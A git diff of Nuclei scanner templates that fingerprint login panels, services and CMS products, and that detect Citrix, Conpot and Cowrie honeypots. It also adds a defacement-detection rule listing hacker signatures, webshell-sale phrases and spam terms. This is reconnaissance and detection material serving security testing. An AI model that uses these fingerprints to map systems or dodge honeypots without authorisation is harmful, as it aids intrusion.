matchers-condition: and + matchers: + - type: regex + part: body_1 + regex: + - 'webui-centerpanel-title' + + - type: regex + part: body_2 + regex: + - '^([a-f0-9]{18})\s*$' + + - type: dsl + dsl: + - status_code_2 == 200 + +# digest: 4a0a004730450221009bed827c233b916acb8561dd03560c4e842b68f045e87efa57e1885457f916690220357c2dacd99f1c984391e81488e2f48548e49dbe531153e94f2e5142aeee97e9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/citrix-adc-gateway-detect-982.yaml b/poc/detect/citrix-adc-gateway-detect-982.yaml index d327615f55..a542c13028 100644 --- a/poc/detect/citrix-adc-gateway-detect-982.yaml +++ b/poc/detect/citrix-adc-gateway-detect-982.yaml @@ -1,19 +1,12 @@ id: citrix-adc-gateway-panel info: - name: Citrix ADC Gateway Login Panel - Detect + name: Citrix ADC Gateway detect author: organiccrap severity: info - description: Citrix ADC Gateway login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 2 tags: panel,citrix -http: +requests: - method: GET path: - '{{BaseURL}}/logon/LogonPoint/index.html' @@ -23,5 +16,3 @@ http: - type: word words: - '_ctxstxt_CitrixCopyright' - -# digest: 490a00463044022068aed88d9c62dba5cb0b8ce040ff7f98351e9a17c2ce69abb724a75b1c1f56f902201d09c02d5124da535fd6aa90893b2b30d162a5c5b7fc94dd135decd9151711cb:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/citrix-honeypot-detect.yaml b/poc/detect/citrix-honeypot-detect.yaml new file mode 100644 index 0000000000..40df55e52c --- /dev/null +++ b/poc/detect/citrix-honeypot-detect.yaml @@ -0,0 +1,40 @@ +id: citrix-honeypot-detect + +info: + name: Citrix Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Citrix honeypot has been identified. + The HTTP response reveals a possible setup of the Citrix web application honeypot. + metadata: + verified: true + max-request: 1 + vendor: citrix + product: citrix + shodan-query: http.title:“Citrix Login” + tags: citrix,honeypot,ir,cti + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'len(body)<2000' + + - type: word + part: body + words: + - "Citrix Login" + + - type: word + part: body + words: + - "In order to use our services, you must agree to Citrix's Terms of Service." + negative: true + +# digest: 4a0a00473045022100ecad0fa17afc66c68a1c3e0a0ff990a1d588adb4b0c80fa272b2c65260fbe2030220704605199b63a62ea2d1d10a1b82af548d6364d7c5caa22111fe90058a523540:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/citrix-vpn-detect-986.yaml b/poc/detect/citrix-vpn-detect-986.yaml index 51248b8c91..9ee409d587 100644 --- a/poc/detect/citrix-vpn-detect-986.yaml +++ b/poc/detect/citrix-vpn-detect-986.yaml @@ -1,16 +1,26 @@ id: citrix-vpn-detect info: - name: Citrix VPN Detection + name: Citrix VPN Panel - Detect author: pdteam severity: info + description: Citrix VPN panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 tags: panel,citrix -requests: +http: - method: GET path: - "{{BaseURL}}/vpn/index.html" + matchers: - type: word words: - "Citrix Gateway" + +# digest: 4a0a004730450220583cb46b5b35eb62c97cdf3c9d513bf68b83a3b7a602a75fed42f7e485877a390221008a9ed8211f1ca282fc52cb69682c6dcf543814ac422d09786c0db34e8776cd3a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/clamav-detect.yaml b/poc/detect/clamav-detect.yaml new file mode 100644 index 0000000000..cdabb2ddad --- /dev/null +++ b/poc/detect/clamav-detect.yaml @@ -0,0 +1,31 @@ +id: clamav-detect + +info: + name: ClamAV Server Detect + author: pussycat0x + severity: info + description: | + Clam AntiVirus is a free software, cross-platform antimalware toolkit able to detect many types of malware, including viruses. + metadata: + max-request: 1 + shodan-query: port:3310 product:"ClamAV" + verified: true + tags: network,clamav,detect + +tcp: + - inputs: + - data: "VERSION" + host: + - "{{Hostname}}" + port: 3310 + + matchers: + - type: regex + regex: + - 'ClamAV ([0-9.]+)' + + extractors: + - type: regex + regex: + - "ClamAV ([0-9.]+)" +# digest: 4a0a00473045022100fc88d4c90eea9d261889b6d66b27798b6f3b063b9067cfd4f0c367c7763546ab022037b50510e479f32561c39409537cf0f9867ca24c5787e903fd6a421e1b4a537a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/cname-service-detection-1032.yaml b/poc/detect/cname-service-detection-1032.yaml new file mode 100644 index 0000000000..4a441a0b4d --- /dev/null +++ b/poc/detect/cname-service-detection-1032.yaml @@ -0,0 +1,40 @@ +id: cname-service-detection + +info: + name: CNAME Service Detection + author: pdteam + severity: info + description: A CNAME service was detected. + reference: + - https://ns1.com/resources/cname + classification: + cwe-id: CWE-200 + tags: dns,service + +dns: + - name: "{{FQDN}}" + type: CNAME + + matchers-condition: or + matchers: + - type: word + name: zendesk + words: + - "zendesk.com" + + - type: word + name: github + words: + - "github.io" + + - type: word + name: announcekit + words: + - "cname.announcekit.app" + + - type: word + name: wix + words: + - "wixdns.net" + +# Enhanced by mp on 2022/03/13 diff --git a/poc/detect/cockpit-detect-1125.yaml b/poc/detect/cockpit-detect-1125.yaml index 347bc55d22..30bf745acc 100644 --- a/poc/detect/cockpit-detect-1125.yaml +++ b/poc/detect/cockpit-detect-1125.yaml @@ -1,16 +1,15 @@ -id: cockpit-detect - -info: - name: Detect Agentejo Cockpit - author: dwisiswant0 - severity: info - tags: tech,cockpit - -requests: - - method: GET - path: - - "{{BaseURL}}/auth/login" - matchers: - - type: word - words: - - "Authenticate Please!" +id: cockpit-detect + +info: + name: Detect Agentejo Cockpit + author: dwisiswant0 + severity: info + +requests: + - method: GET + path: + - "{{BaseURL}}/auth/login" + matchers: + - type: word + words: + - "Authenticate Please!" diff --git a/poc/detect/cockpit-detect-1126.yaml b/poc/detect/cockpit-detect-1127.yaml similarity index 100% rename from poc/detect/cockpit-detect-1126.yaml rename to poc/detect/cockpit-detect-1127.yaml diff --git a/poc/detect/compalex-panel-detect.yaml b/poc/detect/compalex-panel-detect.yaml deleted file mode 100644 index 4df8d91570..0000000000 --- a/poc/detect/compalex-panel-detect.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: compalex-panel-detect - -info: - name: Compalex Panel - Detect - author: MaStErCho - severity: medium - reference: - - http://compalex.net/ - metadata: - verified: true - max-request: 15 - shodan-query: "title:\"COMPALEX\"" - tags: tech,php,compalex,sql - -http: - - method: GET - path: - - '{{BaseURL}}' - - '{{BaseURL}}/{{paths}}/' - - '{{paths}}.{{BaseURL}}/' - - payloads: - paths: - - 'db' - - 'sql' - - 'compalex' - - '_db' - - 'dbdiff' - - stop-at-first-match: true - host-redirects: true - max-redirects: 3 - matchers-condition: and - matchers: - - type: word - words: - - "COMPALEX" - - "<h1>Compalex" - condition: or - - - type: status - status: - - 200 -# digest: 4b0a00483046022100b29c4facfe6892bbb7c06e53b087f40d729fac3354966c50a269e80dfc6b14fd022100aac10f049d73b5abcaee3698977a74abba0869bb909c63e5dd6aeb93bc00d586:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/confluence-detect-1186.yaml b/poc/detect/confluence-detect-1186.yaml new file mode 100644 index 0000000000..0e63d59c09 --- /dev/null +++ b/poc/detect/confluence-detect-1186.yaml @@ -0,0 +1,41 @@ +id: confluence-detect + +info: + name: Confluence Detect + author: philippedelteil + severity: info + description: Allows you to detect Atlassian Confluence instances + metadata: + shodan-query: http.component:"Atlassian Confluence" + tags: tech,confluence,atlassian + + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/pages" + - "{{BaseURL}}/confluence" + - "{{BaseURL}}/wiki" + + redirects: true + stop-at-first-match: true + matchers-condition: or + matchers: + - type: word + part: header + words: + - '-confluence-' + case-insensitive: true + + - type: word + part: body + words: + - 'confluence-base-url' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'Atlassian Confluence ([a-z0-9-._]+)' diff --git a/poc/detect/confluence-detect-1187.yaml b/poc/detect/confluence-detect-1187.yaml index 0e17bc5ab9..b860a53f8f 100644 --- a/poc/detect/confluence-detect-1187.yaml +++ b/poc/detect/confluence-detect-1187.yaml @@ -37,4 +37,5 @@ requests: part: body group: 1 regex: - - 'Atlassian Confluence ([a-z0-9-._]+)' + - '<meta name="ajs-version-number" content="(.*)">' + - 'Atlassian Confluence ([a-z0-9-._]+)' \ No newline at end of file diff --git a/poc/detect/confluence-detect-1188.yaml b/poc/detect/confluence-detect-1188.yaml deleted file mode 100644 index b860a53f8f..0000000000 --- a/poc/detect/confluence-detect-1188.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: confluence-detect - -info: - name: Confluence Detect - author: philippedelteil - severity: info - description: Allows you to detect Atlassian Confluence instances - metadata: - shodan-query: http.component:"Atlassian Confluence" - tags: tech,confluence,atlassian - -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/pages" - - "{{BaseURL}}/confluence" - - "{{BaseURL}}/wiki" - - redirects: true - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: header - words: - - '-confluence-' - case-insensitive: true - - - type: word - part: body - words: - - 'confluence-base-url' - - extractors: - - type: regex - part: body - group: 1 - regex: - - '<meta name="ajs-version-number" content="(.*)">' - - 'Atlassian Confluence ([a-z0-9-._]+)' \ No newline at end of file diff --git a/poc/detect/conpot-siemens-honeypot-detect.yaml b/poc/detect/conpot-siemens-honeypot-detect.yaml new file mode 100644 index 0000000000..6cbeef73bc --- /dev/null +++ b/poc/detect/conpot-siemens-honeypot-detect.yaml @@ -0,0 +1,32 @@ +id: conpot-siemens-honeypot-detect + +info: + name: Conpot (Siemens) Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Conpot (Siemens) honeypot has been identified. + The response to a first packet of a connection attempt differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + verified: true + vendor: conpot + product: siemens + shodan-query: html:"Overview - Siemens, SIMATIC" + tags: conpot,siemens,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "0300001611e00000000400c1020100c2020102c0010a" + type: hex + + host: + - "{{Hostname}}" + port: 102 + read-size: 1024 + + matchers: + - type: binary + binary: + - "030000130ed00000000000c1020000c2020000" +# digest: 490a00463044022021e6afb3e77181c8a48f696d615396954631920d336c086edecff8d9ff5daf6b0220566d89766581d8b4e11aed3949ccbf9348e204a065c14bfd879bc42c9d519ec0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/contentkeeper-detect-1201.yaml b/poc/detect/contentkeeper-detect-1201.yaml deleted file mode 100644 index b5b6a8daf5..0000000000 --- a/poc/detect/contentkeeper-detect-1201.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: contentkeeper-detect - -info: - name: ContentKeeper Cloud Detection - author: geeknik - severity: info - description: ContentKeeper Cloud is the next evolution of cloud filtering that provides schools a seamless and secure way to enable safer and more effective hybrid learning. - reference: https://www.contentkeeper.com/ - tags: contentkeeper,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/ck/domenu.cgi" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "ContentKeeper Technologies</div>" - - "ContentKeeper</span>.com" - condition: and - - - type: word - words: - - "text/html" - part: header diff --git a/poc/detect/contentkeeper-detect-1203.yaml b/poc/detect/contentkeeper-detect-1203.yaml new file mode 100644 index 0000000000..c7507a5657 --- /dev/null +++ b/poc/detect/contentkeeper-detect-1203.yaml @@ -0,0 +1,32 @@ +id: contentkeeper-detect + +info: + name: ContentKeeper Cloud Detection + author: geeknik + severity: info + description: ContentKeeper Cloud is the next evolution of cloud filtering that provides schools a seamless and secure way to enable safer and more effective hybrid learning. + reference: + - https://www.contentkeeper.com/ + tags: contentkeeper,panel + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/ck/domenu.cgi" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ContentKeeper Technologies</div>" + - "ContentKeeper</span>.com" + condition: and + + - type: word + words: + - "text/html" + part: header diff --git a/poc/detect/contentkeeper-detect.yaml b/poc/detect/contentkeeper-detect.yaml index c7507a5657..ec95b77c1c 100644 --- a/poc/detect/contentkeeper-detect.yaml +++ b/poc/detect/contentkeeper-detect.yaml @@ -1,15 +1,21 @@ id: contentkeeper-detect info: - name: ContentKeeper Cloud Detection + name: ContentKeeper Cloud Panel - Detect author: geeknik severity: info - description: ContentKeeper Cloud is the next evolution of cloud filtering that provides schools a seamless and secure way to enable safer and more effective hybrid learning. + description: ContentKeeper Cloud panel was detected. reference: - https://www.contentkeeper.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 tags: contentkeeper,panel -requests: +http: - method: GET path: - "{{BaseURL}}/cgi-bin/ck/domenu.cgi" @@ -30,3 +36,5 @@ requests: words: - "text/html" part: header + +# digest: 4b0a00483046022100f652f6de6b48b3977862b62c2bd74f7e895ae631f610bdfa8c7951ea8778b7cd022100dbf4c4e48045aa717ed9e0f22f10de088a5aa4b21506e388ccc16c013a6b620d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/cowrie-ssh-honeypot-detect.yaml b/poc/detect/cowrie-ssh-honeypot-detect.yaml new file mode 100644 index 0000000000..da526c0d5a --- /dev/null +++ b/poc/detect/cowrie-ssh-honeypot-detect.yaml @@ -0,0 +1,36 @@ +id: cowrie-ssh-honeypot-detect + +info: + name: Cowrie SSH Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Cowrie (or Twisted) SSH honeypot has been identified. + The response to a wrong SSH version differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: ssh + vendor: cowrie + tags: cowrie,twisted,ssh,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "SSH-1337-OpenSSH_9.0\r\n" + + host: + - '{{Hostname}}' + port: 22 + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - 'SSH\-([0-9.-A-Za-z_ ]+)' + + - type: word + words: + - Protocol major versions differ. + - bad version 1337 + condition: or +# digest: 4b0a00483046022100a91298c47f57c0e8066bab70d78e218b951576d18c5261983f05a5b70624df5c022100ee4373b8996ed8f513b2fd32f2c16a90cdd16c68ab6d78bd1da33dae5f19f1e8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/craft-cms-detect.yaml b/poc/detect/craft-cms-detect-1247.yaml similarity index 100% rename from poc/detect/craft-cms-detect.yaml rename to poc/detect/craft-cms-detect-1247.yaml diff --git a/poc/detect/craft-cms-detect-1248.yaml b/poc/detect/craft-cms-detect-1248.yaml index 16dc55c1bf..8c406edb55 100644 --- a/poc/detect/craft-cms-detect-1248.yaml +++ b/poc/detect/craft-cms-detect-1248.yaml @@ -7,14 +7,16 @@ info: description: Detects Craft CMS reference: - https://craftcms.com + metadata: + max-request: 1 tags: tech,craftcms -requests: +http: - method: GET path: - '{{BaseURL}}' - redirects: true + host-redirects: true max-redirects: 2 matchers: - type: word @@ -26,3 +28,5 @@ requests: part: header regex: - 'Set-Cookie: (Craft|CRAFT)' + +# digest: 4a0a0047304502204f6b2c85008f4164a82afc69a4884d67ff9128ce854b6614483a7e15c751f907022100c13433f312e87f37f94ba24b5c6f3239311b005e50e4d7680c388b89b3f420a0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/craftercms-detect.yaml b/poc/detect/craftercms-detect.yaml new file mode 100644 index 0000000000..7389a1e9c3 --- /dev/null +++ b/poc/detect/craftercms-detect.yaml @@ -0,0 +1,36 @@ +id: craftercms-detect + +info: + name: CrafterCMS - Detect + author: righettod + severity: info + description: | + CrafterCMS was detected. + reference: + - https://craftercms.org/ + metadata: + max-request: 1 + verified: true + shodan-query: http.title:"craftercms" + tags: tech,craftercms,detect + +http: + - method: GET + path: + - "{{BaseURL}}" + + host-redirects: true + max-redirects: 2 + matchers: + - type: word + part: header + words: + - 'CrafterCMS' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'Copyright\s+\(C\)\s+([0-9-]+)\s+Crafter' +# digest: 4a0a00473045022100aa4f31503bb26790a17d6e8f9f02499ec52e767847cf7d75e8df780d7d4d211902202c89f6902d7c1b9362db5edc7ee975d910d5c3d99f0911ff0e6d27ba4a57e9cc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/crush-ftp-detect-1271.yaml b/poc/detect/crush-ftp-detect-1271.yaml index 1f865b92d8..7458dfa4af 100644 --- a/poc/detect/crush-ftp-detect-1271.yaml +++ b/poc/detect/crush-ftp-detect-1271.yaml @@ -1,21 +1,21 @@ -id: crush-ftp-detect - -info: - name: Crush FTP - author: pussycat0x - severity: info - tags: tech,ftp -requests: - - method: GET - path: - - "{{BaseURL}}/WebInterface/login.html" - - redirects: true - matchers-condition: and - matchers: - - type: word - words: - - "<title>CrushFTP WebInterface" - - type: status - status: +id: crush-ftp-detect + +info: + name: Crush FTP + author: pussycat0x + severity: info + tags: tech,ftp +requests: + - method: GET + path: + - "{{BaseURL}}/WebInterface/login.html" + + redirects: true + matchers-condition: and + matchers: + - type: word + words: + - "CrushFTP WebInterface" + - type: status + status: - 200 \ No newline at end of file diff --git a/poc/detect/crush-ftp-detect-1272.yaml b/poc/detect/crush-ftp-detect-1272.yaml deleted file mode 100644 index 7458dfa4af..0000000000 --- a/poc/detect/crush-ftp-detect-1272.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: crush-ftp-detect - -info: - name: Crush FTP - author: pussycat0x - severity: info - tags: tech,ftp -requests: - - method: GET - path: - - "{{BaseURL}}/WebInterface/login.html" - - redirects: true - matchers-condition: and - matchers: - - type: word - words: - - "CrushFTP WebInterface" - - type: status - status: - - 200 \ No newline at end of file diff --git a/poc/detect/crush-ftp-detect.yaml b/poc/detect/crush-ftp-detect.yaml index ec9d334733..1f865b92d8 100644 --- a/poc/detect/crush-ftp-detect.yaml +++ b/poc/detect/crush-ftp-detect.yaml @@ -1,21 +1,21 @@ -id: crush-ftp-detect - -info: - name: Crush FTP - author: pussycat0x - severity: info - tags: tech,ftp -requests: - - method: GET - path: - - "{{BaseURL}}/WebInterface/login.html" - - redirects: true - matchers-condition: and - matchers: - - type: word - words: - - "CrushFTP WebInterface" - - type: status - status: +id: crush-ftp-detect + +info: + name: Crush FTP + author: pussycat0x + severity: info + tags: tech,ftp +requests: + - method: GET + path: + - "{{BaseURL}}/WebInterface/login.html" + + redirects: true + matchers-condition: and + matchers: + - type: word + words: + - "CrushFTP WebInterface" + - type: status + status: - 200 \ No newline at end of file diff --git a/poc/detect/csrfguard-detect.yaml b/poc/detect/csrfguard-detect-1290.yaml similarity index 100% rename from poc/detect/csrfguard-detect.yaml rename to poc/detect/csrfguard-detect-1290.yaml diff --git a/poc/detect/csrfguard-detect-1291.yaml b/poc/detect/csrfguard-detect-1291.yaml deleted file mode 100644 index 434e49d428..0000000000 --- a/poc/detect/csrfguard-detect-1291.yaml +++ /dev/null @@ -1,72 +0,0 @@ -id: csrf-guard-detect - -info: - name: OWASP CSRF Guard detection - author: forgedhallpass - severity: info - description: Detects OWASP CSRF Guard 3.x & 4.x versions and whether token-per-page support is enabled based on default configuration. - reference: - - https://github.com/OWASP/www-project-csrfguard - tags: tech,csrfguard,owasp - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - GET /JavaScriptServlet HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - - - | - POST /JavaScriptServlet HTTP/1.1 - Host: {{Hostname}} - OWASP-CSRFTOKEN: {{masterToken}} - - matchers-condition: or - matchers: - - type: word - name: "CSRFGuard-v3.x" - words: - - "FETCH-CSRF-TOKEN" - - - type: word - name: "CSRFGuard-v4.x" - words: - - "masterTokenValue" - - - type: dsl - name: "Disabled-token-per-page" - condition: and - dsl: - - 'status_code_3==400' - - 'contains(body, "Token-Per-Page functionality is disabled")' - - - type: dsl - name: "Enabled-token-per-page" - condition: and - dsl: - - 'status_code_3==200' - - 'contains(body, "{\"pageTokens")' - - cookie-reuse: true - extractors: - - type: regex - name: masterToken - internal: true - group: 1 - regex: - - "(?:masterTokenValue\\s*=\\s*')([^']+)';" - - - type: regex - group: 1 - name: "master-token" - regex: - - "(?:masterTokenValue\\s*=\\s*')([^']+)';" - - - type: json - name: "page-token" - json: - - '.pageTokens' diff --git a/poc/detect/custom-datadump-source-code-detect.yaml b/poc/detect/custom-datadump-source-code-detect.yaml index 591745567f..fb2d19b3b8 100644 --- a/poc/detect/custom-datadump-source-code-detect.yaml +++ b/poc/detect/custom-datadump-source-code-detect.yaml @@ -9,7 +9,7 @@ info: requests: - method: GET path: - - '{{BaseURL}}/connect/datapump/api-docs/service.json' + - '{{BaseURL}}/connect/results/api-docs/service.json' matchers: - type: word words: @@ -17,3 +17,4 @@ requests: - 'info' condition: and + diff --git a/poc/detect/darkstat-detect-6767.yaml b/poc/detect/darkstat-detect-6767.yaml index abd6145deb..89c8d405d8 100644 --- a/poc/detect/darkstat-detect-6767.yaml +++ b/poc/detect/darkstat-detect-6767.yaml @@ -1,22 +1,16 @@ id: darkstat-detect - info: name: Detect Darkstat Reports author: geeknik - severity: high description: Darkstat captures network traffic, calculates statistics about usage, and serves reports over HTTP - reference: - - https://unix4lyfe.org/darkstat/ - metadata: - max-request: 2 + reference: https://unix4lyfe.org/darkstat/ + severity: high tags: darkstat,logs,exposure - -http: +requests: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/darkstat/" - # FYI, the default port for darkstat is 666 matchers-condition: and matchers: @@ -24,7 +18,6 @@ http: part: header regex: - "[Ss]erver: darkstat.*" - - type: word part: body words: @@ -33,11 +26,8 @@ http: - "Measuring for" - "hosts" condition: and - extractors: - type: kval part: header kval: - server - -# digest: 490a00463044022043dc3378018facc38ca1b0a3284a0d357da912f3fb9de6058ce4d7044d809c19022058bd852702d1684eeec06bb1fa7f100ac672e9414054ec519570c611f7329830:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/daybyday-detect-6772.yaml b/poc/detect/daybyday-detect-6772.yaml deleted file mode 100644 index 26993be718..0000000000 --- a/poc/detect/daybyday-detect-6772.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: daybyday-detect - -info: - name: DaybydayCRM Detect - author: pikpikcu - severity: info - tags: tech,daybyday - -requests: - - method: GET - path: - - "{{BaseURL}}/login" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "Daybyday - Login" - - - type: status - status: - - 200 diff --git a/poc/detect/daybyday-detect.yaml b/poc/detect/daybyday-detect.yaml index 1880ae6a87..15aa07c91a 100644 --- a/poc/detect/daybyday-detect.yaml +++ b/poc/detect/daybyday-detect.yaml @@ -6,16 +6,11 @@ info: severity: info tags: tech,daybyday - requests: - - raw: - - | - GET /login HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept-Encoding: gzip, deflate - Accept: */* - + - method: GET + path: + - "{{BaseURL}}/login" + matchers-condition: and matchers: diff --git a/poc/detect/defacement-detect.yaml b/poc/detect/defacement-detect.yaml new file mode 100644 index 0000000000..6d5b6f29c0 --- /dev/null +++ b/poc/detect/defacement-detect.yaml @@ -0,0 +1,416 @@ +id: defacement-detect + +info: + name: Defacement Content - Detection + author: ricardomaia + severity: info + description: | + This template detects defacement content in the response body, using a list of commom paths as payload.It also detects spamdexing and hacktivism signatures and extracts a text snippet with the match.The URL paths and regex rules were based on research from several sources.Other rules are based in the author's experience and are not exhaustive. + reference: + - https://www.zone-h.org + - https://zone-xsec.com + - https://hax.or.id + - https://www.haxor.id + - https://www.defacer.net + - https://www.radware.com/security/threat-advisories-and-attack-reports/hacktivism-unveiled-april-2023 + metadata: + verified: true + max-request: 85 + tags: misc,defacement,spam,hacktivism,fuzz + +http: + - method: GET + path: + - "{{BaseURL}}{{path}}" + + redirects: true + max-redirects: 1 + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + # Commom defacement signatures + - '(?i)\bhack[e|3]d.?(by)?\b' + - '(?i)\bwh(00|oo)pz\b' + - '(?i)\bdefaced.?(by)?\b' + - '(?i)\bPa?wn(e|3)d.?(by)?\b' + - '(?i)\b0wned.?(by)?\b' + - '(?i)\bGreetz.?(to)?\b' + - '(?i)\bXploit\b' + - '(?i)\brulez\b' + - '(?i)\buid=0(root).?gid=0(root).?groups=0(root)\b' + - '(?i)\bh(a|4)x(o|0)r\b' + - '(?i)\bHack.Team\b' + - '(?i)\bpwnted.?(by)?\b' + - '(?i)\bBUY.WEBSHELL\b' + - '(?i)\bHello.Admin\b' + - '(?i)\bShootz\b' + - '(?i)\bTouched\sby\b' + - '(?i)\bHas.*been.*hacked\b' + - '(?i)\bStamped\sBy\b' + # Spamdexing + - '(?i)\bcialis\b' + - '(?i)\btadacip\b' + - '(?i)\bpurinethol\b' + - '(?i)\bbactrim\b' + - '(?i)\bfemale-cialis\b' + - '(?i)\btoprol-xl\b' + - '(?i)\bbupropion\b' + - '(?i)\blevitra\b' + - '(?i)\bfeldene\b' + - '(?i)\bapcalis\b' + - '(?i)\batacand\b' + - '(?i)\bzerit\b' + - '(?i)\bisordil\b' + - '(?i)\bviagra-soft\b' + - '(?i)\bdanazol\b' + - '(?i)\blasix\b' + - '(?i)\bapcalis-sx\b' + - '(?i)\btadalafil\b' + - '(?i)\bviagra-jelly\b' + - '(?i)\btadalis-sx\b' + - '(?i)\btelmisartan\b' + - '(?i)\bcialis-soft\b' + - '(?i)\brevia\b' + - '(?i)\bcardura\b' + - '(?i)\bfempro\b' + - '(?i)\bfemale-viagra\b' + - '(?i)\berectalis\b' + - '(?i)\bforzest\b' + - '(?i)\bisoptin-sr\b' + - '(?i)\bkamagra-soft\b' + - '(?i)\blioresal\b' + - '(?i)\bneoral\b' + - '(?i)\bcytoxan\b' + - '(?i)\bphenytoin\b' + - '(?i)\bvibramycin\b' + - '(?i)\binstant.fortune\b' + - '(?i)\win.the.lottery\b' + - '(?i)\bwin.the.lotto\b' + - '(?i)\bcassino\b' + # Attackets - Zone-H Top 50 + - '(?i)\bHmei7\b' + - '(?i)\bd3b~x\b' + - '(?i)\bIndex Php\b' + - '(?i)\biskorpitx\b' + - '(?i)\bchinafans\b' + - '(?i)\bSejeal\b' + - '(?i)\b1923Turk\b' + - '(?i)\bmuhmademad\b' + - '(?i)\bTeam_CC\b' + - '(?i)\bimam\b' + - '(?i)\bmisafir\b' + - '(?i)\bZoRRoKiN\b' + - '(?i)\bpanataran\b' + - '(?i)\bGHoST61\b' + - '(?i)\bAshiyane Digital Security Team\b' + - '(?i)\bFatal Error\b' + - '(?i)\bErrOr SquaD\b' + - '(?i)\bw4l3xzy3\b' + - '(?i)\bBD GREY HAT HACKERS\b' + - '(?i)\bSA3D HaCk3D\b' + - '(?i)\bjok3r\b' + - '(?i)\bHighTech\b' + - '(?i)\bMr.Kro0oz\b' + - '(?i)\bTheWayEnd\b' + - '(?i)\bLUN4T1C0\b' + - '(?i)\bKaMtiEz\b' + - '(?i)\bHolaKo\b' + - '(?i)\bMiSh\b' + - '(?i)\bMister Spy\b' + - '(?i)\bClash Hackers\b' + - '(?i)\bKkK1337\b' + - '(?i)\bKuroi\b' + - '(?i)\bBALA SNIPER\b' + - '(?i)\bRayzky_\b' + - '(?i)\bRXR\b' + - '(?i)\bTOP-TEAM\b' + - '(?i)\bMagelang6etar\b' + - '(?i)\bifactoryx\b' + - '(?i)\bthe_warri0r\b' + - '(?i)\bRed Eye\b' + - '(?i)\bdarkshadow-tn\b' + - '(?i)\bs13doeL\b' + - '(?i)\bFallaga Team\b' + - '(?i)\bulow\b' + - '(?i)\bSPYKIDS\b' + - '(?i)\bCyb3r_Sw0rd\b' + - '(?i)\blinuXploit_crew\b' + - '(?i)\bIr4dex 735\b' + - '(?i)\bKingSam\b' + # Others groups or attackers + - '(?i)\bLapsus$\b' + - '(?i)\bLulzSec\b' + - '(?i)\bmilw0rm\b' + - '(?i)\bNoName05\b' + - '(?i)\bAnonymousSudan\b' + - '(?i)\bAnon_by\b' + - '(?i)\bAnonGhost\b' + - '(?i)\bTeam.Insane\b' + - '(?i)\bEagle Cyber\b' + - '(?i)\bOpIsrael\b' + - '(?i)\bOpRussia\b' + - '(?i)\bOpIran\b' + - '(?i)\bOpPhilippines\b' + - '(?i)\bOpAustralia\b' + - '(?i)\bAnonymousItalia\b' + - '(?i)\bStopRussia\b' + - '(?i)\bStopInvasion\b' + - '(?i)\bWe.are.legion\b' + - '(?i)\bAnonOps\b' + - '(?i)\bOpGOP\b' + - '(?i)\bOpStonewall\b' + - '(?i)\bTangoDown\b' + - '(?i)\bFREE_PALESTINE\b' + - '(?i)\bFREE_AL-AQSA\b' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + name: defacement-signature + regex: + - '.{0,5}(?i)\bhack[e|3]d.?(by)?\b.{0,5}' + - '.{0,5}(?i)\bwh(00|oo)pz\b.{0,5}' + - '.{0,5}(?i)\bdefaced.?(by)?\b.{0,5}' + - '.{0,5}(?i)\bPa?wn(e|3)d.?(by)?\b.{0,5}' + - '.{0,5}(?i)\b0wned.?(by)?\b.{0,5}' + - '.{0,5}(?i)\bGreetz.?(to)?\b.{0,5}' + - '.{0,5}(?i)\bXploit\b.{0,5}' + - '.{0,5}(?i)\brulez\b.{0,5}' + - 